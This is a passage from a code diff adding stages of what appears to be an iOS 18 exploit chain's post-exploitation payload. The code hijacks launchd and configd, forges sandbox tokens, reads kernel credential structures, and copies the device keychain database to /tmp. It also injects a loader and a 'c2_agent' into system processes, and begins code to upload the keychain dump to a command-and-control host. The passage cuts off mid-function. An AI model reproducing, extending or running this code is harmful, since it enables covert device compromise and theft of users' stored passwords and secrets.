(pre-s1 /tmp write often fails). + // Until claimed, __peStillOwner() returns true so we never self-abort. + var __peRunToken = String(Date.now()) + "-" + String((Math.floor(Math.random() * 1e9) >>> 0)); + var __peLockPath = "/tmp/pe_lab_run.token"; + var __peRunTokenClaimed = false; + function __peStillOwner() { + if (!__peRunTokenClaimed) return true; + try { + var N0 = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var fd = Number(N0.callSymbol("open", __peLockPath, 0)); + if (fd < 0) return false; + var sz = Number(N0.callSymbol("lseek", fd, 0, 2)); + N0.callSymbol("lseek", fd, 0, 0); + if (sz <= 0 || sz > 128) { N0.callSymbol("close", fd); return false; } + var mem = N0.callSymbol("malloc", BigInt(sz + 1)); + N0.callSymbol("read", fd, mem, sz); + N0.callSymbol("close", fd); + var txt = ""; + try { txt = N0.readString(mem); } catch (_rs) { + try { + var u8 = new Uint8Array(N0.read(mem, sz)); + for (var ui = 0; ui < u8.length; ui++) if (u8[ui]) txt += String.fromCharCode(u8[ui]); + } catch (_r3) {} + } + try { N0.callSymbol("free", mem); } catch (_f) {} + txt = (txt || "").replace(/\0/g, "").trim(); + return txt === __peRunToken; + } catch (_e) { return true; } + } + function __peClaimRunToken() { + if (__peRunTokenClaimed) return true; + try { + var Nlock = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var paths = ["/tmp/pe_lab_run.token", "/private/var/tmp/pe_lab_run.token"]; + for (var pi = 0; pi < paths.length; pi++) { + var lfd = Number(Nlock.callSymbol("open", paths[pi], 0x601, 0x1FF)); + if (lfd < 0) continue; + __peLockPath = paths[pi]; + var lbuf = Nlock.callSymbol("malloc", BigInt(__peRunToken.length + 1)); + Nlock.writeString(lbuf, __peRunToken); + Nlock.callSymbol("write", lfd, lbuf, __peRunToken.length); + Nlock.callSymbol("close", lfd); + try { Nlock.callSymbol("free", lbuf); } catch (_lf) {} + try { Nlock.callSymbol("chmod", __peLockPath, 0x1FF); } catch (_lc) {} + __peRunTokenClaimed = true; + p7_flog("PEMK-B pe_run_token claimed path=" + __peLockPath); + p7_flushLog(); + return true; + } + p7_flog("PEMK-B pe_run_token open fail (continue without lock)"); + p7_flushLog(); + } catch (_lk) { + try { p7_flog("PEMK-B pe_run_token err: " + _lk); p7_flushLog(); } catch (_e2) {} + } + return false; + } + p7_flog("PEMK-A pe_run_token deferred until after s1 tokens"); p7_flushLog(); + + // ===== Staged execution (current success flow) — GET /api/ds/pe-stage/ marks progress ===== + // s1 launchd+tokens → s2 keychain_copier → s3 mempress/destroy launchd + // → s4 SB loader → s6 Phase2 sqlite/securityd → s5 c2 (after dump; avoid securityd contention) + let launchdTask = null; + var __labKcCopier = null; + +function __labKcReadStatus() { + // Parse configd notify file. Ready iff ready=1 or db_ok=1 (copy finished). + try { + var N0 = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var fd = Number(N0.callSymbol("open", "/tmp/keychain_copier_status.txt", 0)); + if (fd < 0) { + fd = Number(N0.callSymbol("open", "/tmp/keychain_mpd_go", 0)); + if (fd < 0) return null; + var gsz = Number(N0.callSymbol("lseek", fd, 0, 2)); + N0.callSymbol("lseek", fd, 0, 0); + if (gsz <= 0 || gsz > 512) { N0.callSymbol("close", fd); return null; } + var gmem = N0.callSymbol("malloc", BigInt(gsz + 1)); + N0.callSymbol("read", fd, gmem, gsz); + N0.callSymbol("close", fd); + var gtxt = ""; + try { gtxt = N0.readString(gmem); } catch (_rs) { + try { + var g8 = new Uint8Array(N0.read(gmem, gsz)); + for (var gi = 0; gi < g8.length; gi++) if (g8[gi]) gtxt += String.fromCharCode(g8[gi]); + } catch (_r2) {} + } + N0.callSymbol("free", gmem); + gtxt = (gtxt || "").replace(/\0/g, "").trim(); + if (!gtxt) return null; + return { ready: true, path: gtxt.split(/\s/)[0], raw: "go:" + gtxt }; + } + var sz = Number(N0.callSymbol("lseek", fd, 0, 2)); + N0.callSymbol("lseek", fd, 0, 0); + if (sz <= 0 || sz > 1024) { N0.callSymbol("close", fd); return null; } + var mem = N0.callSymbol("malloc", BigInt(sz + 1)); + N0.callSymbol("read", fd, mem, sz); + N0.callSymbol("close", fd); + var txt = ""; + try { txt = N0.readString(mem); } catch (_rs2) { + try { + var u8 = new Uint8Array(N0.read(mem, sz)); + for (var ui = 0; ui < u8.length; ui++) if (u8[ui]) txt += String.fromCharCode(u8[ui]); + } catch (_r3) {} + } + N0.callSymbol("free", mem); + txt = (txt || "").replace(/\0/g, "").trim(); + if (!txt) return null; + var ready = (/\bready=1\b/.test(txt) || /\bdb_ok=1\b/.test(txt)); + var path = "/tmp/keychain-2.db"; + var pm = txt.match(/\bpath=(\S+)/); + if (pm) path = pm[1]; + return { ready: ready, path: path, raw: txt }; + } catch (_e) { return null; } + } + + + function __labKcDbSize(path) { + try { + var N0 = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var fd = Number(N0.callSymbol("open", path, 0)); + if (fd < 0) return -1; + var sz = Number(N0.callSymbol("lseek", fd, 0, 2)); + N0.callSymbol("close", fd); + return sz; + } catch (_e) { return -1; } + } + + // True "remote copy": open/read/write inside configd via RemoteCall (no InjectJS race). + function __labRcCopyFile(rc, srcPath, dstPath) { + try { + var chunk = 0x10000; + var pathBuf = rc.call(100, "calloc", 1, 512); + if (!pathBuf || pathBuf === 0n) return { ok: false, err: "calloc_path" }; + rc.writeStr(pathBuf, srcPath); + var srcFd = Number(rc.call(100, "open", pathBuf, 0)); + if (srcFd < 0) { + rc.call(100, "free", pathBuf); + return { ok: false, err: "open_src", fd: srcFd }; + } + var sz = Number(rc.call(100, "lseek", srcFd, 0, 2)); + rc.call(100, "lseek", srcFd, 0, 0); + if (sz <= 0) { + rc.call(100, "close", srcFd); + rc.call(100, "free", pathBuf); + return { ok: false, err: "empty", sz: sz }; + } + rc.writeStr(pathBuf, dstPath); + var dstFd = Number(rc.call(100, "open", pathBuf, 0x601, 511)); + if (dstFd < 0) { + rc.call(100, "close", srcFd); + rc.call(100, "free", pathBuf); + return { ok: false, err: "open_dst", fd: dstFd }; + } + var buf = rc.call(100, "calloc", 1, chunk); + if (!buf || buf === 0n) { + rc.call(100, "close", srcFd); + rc.call(100, "close", dstFd); + rc.call(100, "free", pathBuf); + return { ok: false, err: "calloc_buf" }; + } + var left = sz; + var ok = true; + while (left > 0) { + var n = left > chunk ? chunk : left; + var nr = Number(rc.call(100, "read", srcFd, buf, n)); + if (nr <= 0) { ok = false; break; } + var nw = Number(rc.call(100, "write", dstFd, buf, nr)); + if (nw !== nr) { ok = false; break; } + left -= nr; + } + rc.call(100, "close", srcFd); + rc.call(100, "close", dstFd); + rc.call(100, "chmod", pathBuf, 511); + rc.call(100, "free", buf); + rc.call(100, "free", pathBuf); + return { ok: ok && left === 0, sz: sz, left: left }; + } catch (e) { + return { ok: false, err: String(e) }; + } + } + + function __labApplyFreshToken(rc, path) { + try { + var tok = libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath(path, false); + if (!tok) return false; + var rm = rc.mem(); + rc.writeStr(rm, tok); + rc.call(100, "sandbox_extension_consume", rm); + return true; + } catch (_e) { return false; } + } + + function __labWriteCopierReady(rc, path, sz) { + try { + var st = "ready=1 db_ok=1 path=" + path + " sz=" + sz + " src=1 via=rc_copy\n"; + var pb = rc.call(100, "calloc", 1, 512); + rc.writeStr(pb, "/tmp/keychain_copier_status.txt"); + var fd = Number(rc.call(100, "open", pb, 0x601, 511)); + if (fd >= 0) { + var sb = rc.call(100, "calloc", 1, st.length + 1); + rc.writeStr(sb, st); + rc.call(100, "write", fd, sb, st.length); + rc.call(100, "close", fd); + rc.call(100, "free", sb); + rc.call(100, "chmod", pb, 511); + } + rc.writeStr(pb, "/tmp/keychain_mpd_go"); + fd = Number(rc.call(100, "open", pb, 0x601, 511)); + if (fd >= 0) { + var gb = rc.call(100, "calloc", 1, path.length + 2); + rc.writeStr(gb, path + "\n"); + rc.call(100, "write", fd, gb, path.length + 1); + rc.call(100, "close", fd); + rc.call(100, "free", gb); + rc.call(100, "chmod", pb, 511); + } + rc.call(100, "free", pb); + } catch (_w) {} + } + + function __labParseIosVer() { + var out = { maj: 0, min: 0, pat: 0, raw: "" }; + try { + var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var sizePtr = N.callSymbol("calloc", 1, 8); + if (!sizePtr || sizePtr === 0n) return out; + var rc = Number(N.callSymbol("sysctlbyname", "kern.osproductversion", 0, sizePtr, 0, 0)); + if (rc !== 0) { N.callSymbol("free", sizePtr); return out; } + var sz = Number(N.readPtr(BigInt(sizePtr))); + if (sz <= 0 || sz > 64) { N.callSymbol("free", sizePtr); return out; } + var buf = N.callSymbol("malloc", BigInt(sz + 1)); + if (!buf || buf === 0n) { N.callSymbol("free", sizePtr); return out; } + N.write64(sizePtr, BigInt(sz + 1)); + rc = Number(N.callSymbol("sysctlbyname", "kern.osproductversion", buf, sizePtr, 0, 0)); + var s = ""; + if (rc === 0) { + try { s = N.readString(buf, sz).replace(/\0/g, ""); } catch (_rs) { s = ""; } + } + N.callSymbol("free", buf); + N.callSymbol("free", sizePtr); + out.raw = s || ""; + var m = String(s).match(/^(\d+)\.(\d+)(?:\.(\d+))?/); + if (m) { + out.maj = parseInt(m[1], 10) || 0; + out.min = parseInt(m[2], 10) || 0; + out.pat = m[3] ? (parseInt(m[3], 10) || 0) : 0; + } + } catch (_e) {} + return out; + } + + // s5 previously called typeof __labParseIosVer inside stage2 scope → always ios=? / useNuiC2=0. + // Cache + xnu fallback so 18.5/18.6.1+ correctly take the deadlock-safe NUI C2 path. + function __labIosForGate() { + var v = null; + try { + if (globalThis.__labIosVer && globalThis.__labIosVer.maj) + v = globalThis.__labIosVer; + } catch (_c) {} + if (!v || !v.maj) + v = __labParseIosVer(); + if (v && v.maj) { + try { globalThis.__labIosVer = v; } catch (_s) {} + return v; + } + try { + var xv = globalThis.xnuVersion; + var xm = xv ? Number(xv.major) || 0 : 0; + var xn = xv ? Number(xv.minor) || 0 : 0; + if (xm === 24 && xn === 5) + v = { maj: 18, min: 5, pat: 0, raw: "18.5(xnu24.5)" }; + else if (xm === 24 && xn >= 6) + // Prefer NUI C2 when patch unknown (18.6.1+ deadlock); 18.6.0 also OK on NUI. + v = { maj: 18, min: 6, pat: 1, raw: "18.6+(xnu24." + xn + ")" }; + } catch (_x) {} + if (!v) v = { maj: 0, min: 0, pat: 0, raw: "" }; + try { if (v.maj) globalThis.__labIosVer = v; } catch (_s2) {} + return v; + } + + function __peStage1() { + p7_flog("PEMK-B0 before launchd RemoteCall isLaunchdSafe=1"); p7_flushLog(); + try { pe_alive_ping("pe_s1_pre_launchd"); } catch (_s1a) {} + LOG("[PE] creating launchdTask..."); + launchdTask = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("launchd",migFilterBypass); + p7_flog("PEMK-B0 after launchd ctor ok=" + !!(launchdTask && launchdTask.success()) + " fail=" + (globalThis.__peRemoteFail || 0)); p7_flushLog(); + try { pe_alive_ping("pe_s1_post_launchd"); } catch (_s1b) {} + if (!launchdTask.success()) { + LOG("[PE] launchdTask FAILED"); + p7_flog("PEMK-B launchdTask FAILED"); p7_flushLog(); + try { globalThis.__peAbort = true; } catch (_a) {} + return; + } + LOG("[PE] launchdTask OK, init sandbox..."); + p7_flog("PEMK-B1 before initWithLaunchdTask"); p7_flushLog(); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].initWithLaunchdTask(launchdTask); + // Skip deleteCrashReports: first post-ctor launchd token + recursive deleteDir + // reboots A13 (iPhone12,x) before createTokens even starts. + p7_flog("PEMK-B1 skip deleteCrashReports"); p7_flushLog(); + p7_flog("PEMK-B1 before createTokens (nui-gate)"); p7_flushLog(); + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].createTokens(); + LOG("[PE] sandbox tokens created"); + p7_flog("PEMK-B1 tokens ok"); p7_flushLog(); + } catch (tokEx) { + p7_flog("PEMK-B1 createTokens THREW: " + String(tokEx).slice(0, 120)); + p7_flushLog(); + throw tokEx; + } + + // ===== Self-process ucred READ-ONLY probe ===== + // Uses the PROVEN path from sandbox extension code (line 6641-6653): + // proc + 0x18 -> credRef + 0x28 -> ucred + // ucred + 0x18 = cr_uid (offset 24, matches IDA key 35) + // ucred + 0x78 = cr_label (offset 120, matches IDA key 44) + try { + let C = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"]; + let HEX = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_5__["default"].hex; + let T = libs_TaskRop_Task__WEBPACK_IMPORTED_MODULE_3__["default"]; + + let selfTask = T.gSelfTask.addr; + let selfProcRO = C.read64(selfTask + C.offsets().procRO); + let selfProc = C.read64(selfProcRO); + LOG("[UCRED] task=" + HEX(C.strip(selfTask)) + " proc=" + HEX(C.strip(selfProc))); + + let credRef = C.read64(selfProc + 0x18n); + LOG("[UCRED] credRef=" + HEX(C.strip(credRef))); + + let diag = "proc=" + HEX(C.strip(selfProc)); + + if (credRef && C.strip(credRef) >= 0xffffffd000000000n) { + let ucred = C.read64(credRef + 0x28n); + LOG("[UCRED] ucred=" + HEX(C.strip(ucred))); + diag += "|ucred=" + HEX(C.strip(ucred)); + + if (ucred && C.strip(ucred) >= 0xffffffd000000000n) { + let cr_uid = C.read32(ucred + 0x18n); + let cr_ruid = C.read32(ucred + 0x1cn); + let cr_svuid = C.read32(ucred + 0x20n); + let cr_ngroups = C.read32(ucred + 0x24n); + let cr_label = C.read64(ucred + 0x78n); + LOG("[UCRED] cr_uid=" + cr_uid + " cr_ruid=" + cr_ruid + " cr_svuid=" + cr_svuid + " cr_ngroups=" + cr_ngroups); + LOG("[UCRED] cr_label=" + HEX(C.strip(cr_label))); + diag += "|uid=" + cr_uid + "|ruid=" + cr_ruid + "|svuid=" + cr_svuid; + diag += "|ngroups=" + cr_ngroups + "|cr_label=" + HEX(C.strip(cr_label)); + + // Also dump a few more ucred fields for structure verification + for (let doff = 0x00n; doff <= 0x80n; doff += 8n) { + try { + let val = C.read64(ucred + doff); + diag += "|u+" + doff.toString(16) + "=" + HEX(C.strip(val)); + } catch(e3) {} + } + } else { + diag += "|ucred_INVALID"; + } + } else { + diag += "|credRef_INVALID"; + } + + globalThis.__ucredDiag = diag; + LOG("[UCRED] diag=" + diag.substring(0, 200)); + } catch (probeErr) { + globalThis.__ucredDiag = "probe_error:" + String(probeErr); + LOG("[UCRED] error: " + probeErr); + } + // ===== End ucred probe ===== + + // Flush Phase 1 log now that sandbox tokens exist + if (p7_enableP7) { + p7_flog("launchd RC OK, sandbox tokens created"); + p7_flushLog(); + } + + // ===== keychain_copier: must run BEFORE P7 Phase 2 sqlite pipeline ===== + // keepAlive until /tmp DB is usable - destroy() tears RC and kills mid-copy. + p7_flog("PEMK-B s1_launchd ok"); p7_flushLog(); + try { __peClaimRunToken(); } catch (_ct) { try { p7_flog("PEMK-B pe_run_token claim throw: " + _ct); p7_flushLog(); } catch (_e) {} } +} + + function __peStage2() { + // Clear stale copier notify so we do not race a previous run. + try { + var __Nclr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + __Nclr.callSymbol("unlink", "/tmp/keychain_copier_status.txt"); + __Nclr.callSymbol("unlink", "/tmp/keychain_mpd_go"); + __Nclr.callSymbol("unlink", "/tmp/keychain-2.db"); + } catch (_u) {} + + __labKcCopier = null; + var __rcCopyOk = false; + var __rcCopySz = -1; + + // Detect iOS version: 18.6.1+ must NOT enter RemoteCall rc_copy (hangs). + // 18.6.0 keeps the lab rc_copy primary path unchanged. + var __iosV = __labIosForGate(); + try { globalThis.__labIosVer = __iosV; } catch (_cv) {} + // 18.6.1 / 18.6.2: match iOS18nui InjectJS path (no PEMK-C0 rc_copy). + var __useNuiKc = (__iosV.maj === 18 && ( + (__iosV.min === 6 && __iosV.pat >= 1) || + (__iosV.min > 6) + )); + p7_flog("PEMK-C0 ios=" + (__iosV.raw || "?") + " useNuiKc=" + (__useNuiKc ? "1" : "0")); p7_flushLog(); + + if (__useNuiKc) { + // ===== iOS18nui path (18.6.1 / 18.6.2) ===== + // applyTokens AFTER evaluateScript hangs on 18.6.2. Use deferStart: + // prepare JSC → full applyTokens → startScript → destroy (no post-apply). + LOG("[PE-WORKER] inject keychain_copier -> configd (nui 18.6.1+)"); + p7_flog("PEMK-C0 nui InjectJS begin"); p7_flushLog(); + try { pe_alive_ping("pe_s2_nui_begin"); } catch (_pi0) {} + try { + var __kcRC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass); + if (!__kcRC.success()) { + LOG("[PE-WORKER] keychain_copier: configd RC failed"); + p7_flog("PEMK-C0 nui configd RC failed"); p7_flushLog(); + try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2a) {} + } else { + p7_flog("PEMK-C0 nui configd RC ok -> deferStart+full applyTokens"); p7_flushLog(); + var kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__kcRC, _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass); + p7_flog("PEMK-C0 nui InjectJS ctor ok"); p7_flushLog(); + var __injT0 = Date.now(); + if (kcCopier.inject(0, { deferStart: true })) { + LOG("[PE-WORKER] keychain_copier prepared (deferred)"); + p7_flog("PEMK-C0 nui defer ok ms=" + (Date.now() - __injT0) + " -> applyTokens"); p7_flushLog(); + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(kcCopier.task); + } catch (_atN) { + p7_flog("PEMK-C0 nui applyTokens err: " + _atN); p7_flushLog(); + } + kcCopier.startScript(); + p7_flog("PEMK-C0 nui startScript ok -> destroy"); p7_flushLog(); + kcCopier.destroy(); + p7_flog("PEMK-C0 nui destroy ok"); p7_flushLog(); + try { pe_alive_ping("pe_s2_nui_ok"); } catch (_pi1) {} + } else { + LOG("[PE-WORKER] keychain_copier FAILED"); + p7_flog("PEMK-C0 nui inject FAILED ms=" + (Date.now() - __injT0)); p7_flushLog(); + try { __kcRC.destroy(); } catch (_rd) {} + try { pe_alive_ping("pe_s2_nui_fail"); } catch (_pi2) {} + } + } + } catch (kcErr) { + LOG("[PE-WORKER] keychain_copier error: " + kcErr); + p7_flog("PEMK-C0 nui exception: " + kcErr); p7_flushLog(); + try { pe_alive_ping("pe_s2_nui_exc"); } catch (_pi3) {} + } + // Background copier needs a short settle before Phase2 /tmp open. + LOG("[PE-WORKER] waiting 3s for keychain copy (nui)..."); + for (var __nuiWi = 1; __nuiWi <= 3; __nuiWi++) { + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 1); + } + p7_flog("PEMK-C s2_keychain done nui=1 rcCopy=0"); p7_flushLog(); + try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {} + return; + } + + // ===== PRIMARY (18.6.0 / non-18.6.1+): RemoteCall copy inside configd ===== + // Issue fresh Keychains tokens → consume into configd → open/read/write → /tmp. + // Avoids InjectJS evaluateScript race that often copies before tokens land. + LOG("[PE-WORKER] RemoteCall keychain copy via configd..."); + p7_flog("PEMK-C0 rc_copy start"); p7_flushLog(); + try { + p7_flog("PEMK-C0 before RemoteCall(configd)"); p7_flushLog(); + var cfgRc = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"]("configd", migFilterBypass); + p7_flog("PEMK-C0 after RemoteCall success=" + !!(cfgRc && cfgRc.success())); p7_flushLog(); + if (cfgRc && cfgRc.success()) { + var __tokPaths = [ + "/private/var/Keychains/", + "/private/var/Keychains/keychain-2.db", + "/private/var/Keychains/keychain-2.db-wal", + "/private/var/Keychains/keychain-2.db-shm", + "/var/Keychains/", + "/var/Keychains/keychain-2.db", + "/tmp/", + "/private/var/tmp/" + ]; + var __tokN = 0; + for (var __ti = 0; __ti < __tokPaths.length; __ti++) { + if (__labApplyFreshToken(cfgRc, __tokPaths[__ti])) __tokN++; + } + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(cfgRc); + } catch (_at) {} + p7_flog("PEMK-C0 tokens fresh=" + __tokN); p7_flushLog(); + + var __pairs = [ + ["/private/var/Keychains/keychain-2.db", "/tmp/keychain-2.db"], + ["/private/var/Keychains/keychain-2.db-wal", "/tmp/keychain-2.db-wal"], + ["/private/var/Keychains/keychain-2.db-shm", "/tmp/keychain-2.db-shm"] + ]; + for (var __fi = 0; __fi < __pairs.length; __fi++) { + var __cr = __labRcCopyFile(cfgRc, __pairs[__fi][0], __pairs[__fi][1]); + p7_flog("PEMK-C0 copy " + __pairs[__fi][1].split("/").pop() + + " ok=" + __cr.ok + " sz=" + __cr.sz + " err=" + (__cr.err || "")); + p7_flushLog(); + if (__fi === 0 && __cr.ok && __cr.sz > 1048576) { + __rcCopyOk = true; + __rcCopySz = __cr.sz; + } + } + if (!__rcCopyOk) { + var __cr2 = __labRcCopyFile(cfgRc, "/var/Keychains/keychain-2.db", "/tmp/keychain-2.db"); + p7_flog("PEMK-C0 copy alt ok=" + __cr2.ok + " sz=" + __cr2.sz + " err=" + (__cr2.err || "")); + p7_flushLog(); + if (__cr2.ok && __cr2.sz > 1048576) { + __rcCopyOk = true; + __rcCopySz = __cr2.sz; + } + } + if (__rcCopyOk) { + __labWriteCopierReady(cfgRc, "/tmp/keychain-2.db", __rcCopySz); + try { + globalThis.__labKcCopyPath = "/tmp/keychain-2.db"; + globalThis.__labKcReady = true; + } catch (_g) {} + p7_flog("PEMK-C0 READY via rc_copy sz=" + __rcCopySz); p7_flushLog(); + LOG("[PE-WORKER] rc_copy READY sz=" + __rcCopySz); + } + // Breadcrumbs: last pe_mpd was READY then silence → pin destroy vs InjectJS. + p7_flog("PEMK-C0 before cfgRc.destroy"); p7_flushLog(); + try { pe_alive_ping("pe_s2_pre_destroy"); } catch (_pd0) {} + try { + cfgRc.destroy(); + p7_flog("PEMK-C0 after cfgRc.destroy ok"); p7_flushLog(); + try { pe_alive_ping("pe_s2_post_destroy"); } catch (_pd1) {} + } catch (_d) { + p7_flog("PEMK-C0 cfgRc.destroy threw: " + _d); p7_flushLog(); + try { pe_alive_ping("pe_s2_destroy_err"); } catch (_pd2) {} + } + } else { + p7_flog("PEMK-C0 configd RemoteCall FAILED"); p7_flushLog(); + LOG("[PE-WORKER] configd RemoteCall FAILED"); + } + } catch (__rcErr) { + p7_flog("PEMK-C0 rc_copy exception: " + __rcErr); p7_flushLog(); + LOG("[PE-WORKER] rc_copy error: " + __rcErr); + } + + // ===== SECONDARY: InjectJS keychain_copier (fallback only) ===== + // (3) rc_copy READY already put db/wal/shm in /tmp — do NOT re-run copier (108MB race). + // (2) fallback: deferStart → applyTokens → startScript (tokens before evaluateScript). + if (__rcCopyOk) { + p7_flog("PEMK-C0 skip InjectJS: rc_copy READY sz=" + __rcCopySz); p7_flushLog(); + try { pe_alive_ping("pe_s2_skip_inject_rc_ok"); } catch (_pi0) {} + LOG("[PE-WORKER] skip keychain_copier InjectJS (rc_copy READY)"); + } else { + p7_flog("PEMK-C0 before InjectJS ctor (rc_copy miss)"); p7_flushLog(); + try { pe_alive_ping("pe_s2_pre_inject"); } catch (_pi0) {} + LOG("[PE-WORKER] inject keychain_copier -> configd (deferStart then tokens)"); + try { + let kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"]("configd", _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass); + p7_flog("PEMK-C0 InjectJS ctor ok, calling inject(deferStart)"); p7_flushLog(); + try { pe_alive_ping("pe_s2_inject_call"); } catch (_pi1) {} + if (kcCopier.inject(0, { deferStart: true })) { + p7_flog("PEMK-C0 inject(defer) returned true"); p7_flushLog(); + try { pe_alive_ping("pe_s2_inject_ok"); } catch (_pi2) {} + LOG("[PE-WORKER] keychain_copier prepared (deferred)"); + p7_flog("PEMK-C0 before applyTokens"); p7_flushLog(); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(kcCopier.task); + try { + __labApplyFreshToken(kcCopier.task, "/private/var/Keychains/"); + __labApplyFreshToken(kcCopier.task, "/private/var/Keychains/keychain-2.db"); + __labApplyFreshToken(kcCopier.task, "/tmp/"); + } catch (_ft) { + p7_flog("PEMK-C0 freshToken warn: " + _ft); p7_flushLog(); + } + p7_flog("PEMK-C0 after applyTokens"); p7_flushLog(); + try { pe_alive_ping("pe_s2_post_tokens"); } catch (_pi3) {} + p7_flog("PEMK-C0 before startScript"); p7_flushLog(); + kcCopier.startScript(); + p7_flog("PEMK-C0 after startScript"); p7_flushLog(); + try { pe_alive_ping("pe_s2_start_script"); } catch (_pi3b) {} + LOG("[PE-WORKER] keychain_copier OK (tokens then evaluate)"); + __labKcCopier = kcCopier; + } else { + p7_flog("PEMK-C0 inject() returned false"); p7_flushLog(); + try { pe_alive_ping("pe_s2_inject_fail"); } catch (_pi4) {} + LOG("[PE-WORKER] keychain_copier FAILED"); + } + } catch (kcErr) { + p7_flog("PEMK-C0 InjectJS/inject exception: " + kcErr); p7_flushLog(); + try { pe_alive_ping("pe_s2_inject_exc"); } catch (_pi5) {} + LOG("[PE-WORKER] keychain_copier error: " + kcErr); + } + } + p7_flog("PEMK-C s2_keychain done rcCopy=" + __rcCopyOk + " sz=" + __rcCopySz); p7_flushLog(); + try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {} +} + + function __peStage3() { + // Brief settle then inject c2 BEFORE long DB wait so devices that die mid-copy still beacon. + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 2); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess); + LOG("[PE] destroying launchd RC to free zone resources..."); + try { launchdTask.destroy(); } catch(e) { LOG("[PE] launchd destroy warn: " + e); } + + // ===== Inject loader + c2_agent BEFORE P7 Phase 2 (and before long kc wait) ===== + p7_flog("PEMK-D s3_mempress launchd destroyed"); p7_flushLog(); +} + + function __peStage4() { + // Fine-grained diag: pin hang to InjectJS ctor / inject() / applyTokens / destroy. + LOG("[PE-WORKER] inject loader -> " + targetProcess); + p7_flog("PEMK-E0 s4 begin target=" + targetProcess); p7_flushLog(); + var __s4Ok = false; + try { + p7_flog("PEMK-E0 before InjectJS ctor"); p7_flushLog(); + var __tCtor = Date.now(); + let agentLoader = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"], migFilterBypass); + p7_flog("PEMK-E0 InjectJS ctor ok ms=" + (Date.now() - __tCtor)); p7_flushLog(); + let agentPid = 0; + p7_flog("PEMK-E0 before inject()"); p7_flushLog(); + var __tInj = Date.now(); + var __injOk = false; + try { + __injOk = !!agentLoader.inject(); + } catch (_injE) { + p7_flog("PEMK-E0 inject() threw: " + _injE); p7_flushLog(); + throw _injE; + } + p7_flog("PEMK-E0 inject() returned ok=" + (__injOk ? "1" : "0") + " ms=" + (Date.now() - __tInj)); p7_flushLog(); + if (__injOk) { + try { agentPid = agentLoader.task.pid(); } catch (_pidE) { + p7_flog("PEMK-E0 pid() threw: " + _pidE); p7_flushLog(); + } + LOG("[PE-WORKER] loader OK pid=" + agentPid); + p7_flog("PEMK-E0 loader OK pid=" + agentPid + " -> applyTokens"); p7_flushLog(); + var __tTok = Date.now(); + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task); + p7_flog("PEMK-E0 applyTokens ok ms=" + (Date.now() - __tTok)); p7_flushLog(); + } catch (_tokE) { + p7_flog("PEMK-E0 applyTokens threw ms=" + (Date.now() - __tTok) + " err=" + _tokE); p7_flushLog(); + throw _tokE; + } + p7_flog("PEMK-E0 before destroy"); p7_flushLog(); + try { agentLoader.destroy(); } catch (_dE) { + p7_flog("PEMK-E0 destroy warn: " + _dE); p7_flushLog(); + } + p7_flog("PEMK-E0 destroy ok"); p7_flushLog(); + __s4Ok = true; + } else { + LOG("[PE-WORKER] loader inject FAILED"); + p7_flog("PEMK-E0 loader inject FAILED"); p7_flushLog(); + } + } catch (_s4E) { + LOG("[PE-WORKER] s4_loader error: " + _s4E); + p7_flog("PEMK-E0 exception: " + _s4E); p7_flushLog(); + } + p7_flog("PEMK-E s4_loader done ok=" + (__s4Ok ? "1" : "0")); p7_flushLog(); + } + + function __pePostWarDumpFallback(reason) { + // Guarantee /war for Phase2 dump: single POST or war_chunk; dedupe via marker. + // Ported from lab_nuih_persist_4022/verified_ios185_186_war_guarantee: + // - single POST up to 5MB; beyond that, split into war_chunk parts (max 32MB). + // - on success write /tmp/pe_war_fallback.sent marker to avoid duplicate uploads. + // - reason containing "force" bypasses dedupe (force re-send). + // /war target = C2 (same as c2_agent), via { host, port } override; site_rewrite.py + // rewrites the mh0usocqzi6f46i.com:443 object literal below into the current C2_HOST:PORT. + try { + var N = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"]; + var dumpPath = "/tmp/keychain_c2_dump.json"; + var sentPath = "/tmp/pe_war_fallback.sent"; + if (Number(N.callSymbol("access", dumpPath, 0)) !== 0) { + p7_flog("PEMK-WAR skip: no dump (" + reason + ")"); p7_flushLog(); + return false; + } + var __force = String(reason || "").indexOf("force") >= 0; + if (!__force && Number(N.callSymbol("access", sentPath, 0)) === 0) { + p7_flog("PEMK-WAR skip: already sent marker (" + reason + ")"); p7_flushLog(); + return true; + } + var fd = 